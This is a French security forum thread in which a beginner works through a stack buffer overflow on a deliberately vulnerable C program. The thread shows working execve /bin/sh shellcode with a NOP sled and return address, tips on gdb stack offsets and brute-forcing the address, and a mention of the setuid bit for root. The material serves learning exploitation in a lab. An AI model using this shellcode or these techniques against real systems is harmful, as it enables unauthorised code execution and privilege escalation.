Problême exploitation BoF

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

Bonjour ,
j'aurais besoin de votre aide pour exploiter ce programme car je débute dans le monde de la sécu applicative :

Code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *arg)
{
  char buffer[100];
  strcpy(buffer, arg);
}

int main(int argc, char **argv)
{
  func(argv[1]);

  return 0;
}

compilé comme ceci : gcc -fno-stack-protector -mpreferred-stack-boundary=4 -Wall -o vuln vuln.c

Donc on m'a dit de rechercher un pointeur sur eax ce que j'ai fais avec cette commande : objdump -d -j .text vuln

j'en ai trouvés plusieurs ( 2 ).

Ensuite je tente de le spoilt en faisant cette commande : ./vuln `python -c "print '\x90'*80 + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x7b\x84\x04\x08'"`

Problême : en retour j'ai un magnifique 'erreur de segmentation'

Je ne sais donc pas d'où ça viens ; ça ne viens pas du nombre de nops , ni de l'adresse (je test avec les deux adresses différentes ).

Voilà j'espère que vous pourrez m'aider

aaSSfxxx · **Inscription:** 14 Avr 2011, 15:37 **Messages:** 96

Bonjour,

Personnellement, je te conseillerais d'observer le comportement du programme à l'aide d'un débuggeur comme gdb (par exemple la valeur des registres, où saute ton programme). Sachant que bien souvent, on ne réussit pas de BoF du premier coup

Par ailleur ne peut pas t'aider directement, étant donné que les adresses changent d'un PC à l'autre...

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

Justement je me suis aidé de gdb

pour trouver le nombre de nops nécessaires.

Mais ce que je voulais savoir c'est si une erreur viendrais de la manière dont j'ai formulé la ligne d'exploitation ? Par exemple un accant mal placé quelque chose du genre

aaSSfxxx · **Inscription:** 14 Avr 2011, 15:37 **Messages:** 96

Selon moi, le problème peut être lié à 2 choses:

Il est possible que la randomisation des adresses de la pile soit activée, ce qui fait que lorsque tu écrases l'adresse de retour, ça saute à un endroit où il n'y a pas de shellcode.

Il se peut aussi que le problème se situe lors de la restauration de la pile: lorsque tu sors de ta fonction, le processeur va restaurer ebp à la valeur juste au-dessus de l'adresse de retour, qui se trouve aussi écrasée par le shellcode, provoquant un segfault du fait que "l'adresse" n'est pas lisible

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

Merci de ta réponse

Je vais voir ce que je peut faire.

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

Bon maintenant j'ai un autre problême.
J'ai testé une autre solution pour l'exploiter ce programme :
j'ouvre gdb , je tape : r `python -c "print 'A'*108"`
Pour écraser eip et ebp , ensuite je fais : x/2000xb $esp
Pour prendre l'adresse d'un nop ( 0x41 )
Ensuite ( toujours dans gdb ) je tape cette commande :
r `python -c "print '\x90'*80 + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x48\xf8\xff\xbf'"`

et là j'obtiens un shell :
$

Donc je quitte gdb , et je test donc cette commande pour exploiter mon programme :
./overflow `python -c "print '\x90'*80 + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x48\xf8\xff\xbf'"`

et là j'obtiens 'erreur de segmentation'

je précise que mon randomize_va_space est à 0 et que je suis sous une architecture 32bits.

Merci de votre aide

dvrasp · **Inscription:** 03 Avr 2008, 09:54 **Messages:** 8

Ta stack n'est pas tout à fait la même lorsque tu lance le programme via gdb. Cela s'explique par une modification des variables d'environnement par gdb : comme elle sont stockées au sommet de la stack, cela induit des décalages.

Démonstration de l'effet des variables d'environnement :

Code:

$ gdb -n -q /bin/ls     
(gdb) b __libc_start_main
Breakpoint 1 at 0x804980c
(gdb) r
(gdb) print environ
$1 = (char **) 0xbffff4ac
(gdb) print $esp
$2 = (void *) 0xbffff400

$ TEST=xxxxxxxxxxxxxxxxxxxx gdb -n -q /bin/ls 
(gdb) b __libc_start_main
Breakpoint 1 at 0x804980c
(gdb) r
(gdb) print $esp
$1 = (void *) 0xbffff3d0

NB: TEST=xxxxxxxxxxxxxxxxxxxx corespond à 25 chars + 1 de décalage, il y a après des histoirs d'alignement en mémoire - je suppose ;>

A priori, vu que l'efficacité de ton shellcode est démontrée, tu devrais rapidement arriver à exploiter le programme en bruteforçant son adresse (\x48\xf8\xff\xbf si j'ai bien compris).

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

D'accord , donc si j'ai bien compris , je retente plusieurs dois avec cette adresse , c'est bien ça ?

snakenathan · **Inscription:** 07 Mar 2011, 21:37 **Messages:** 13

Merci beaucoup de ta réponse

Donc come tu m'a dis j'ai bruteforcé l'adresse et ça a marché . Mais j'ai un nouveau problême (oui je sais je n'arrête pas ) j'ai un shell mais je ne suis pas root ? comment dois-je faire ? j'ai changé le propriétaire du fichier ( je ne sais pas si ça change grand chose ) .

Strayyy · **Inscription:** 05 Juin 2009, 00:40 **Messages:** 1482

Il faut que tu actives le bit suid sur ton fichier. Il permet à un binaire d'être exécuté avec les droits de l'owner (ici root).

(tain, pour une fois que je me la ramène sur du linux :O)

Problême exploitation BoF

Qui est en ligne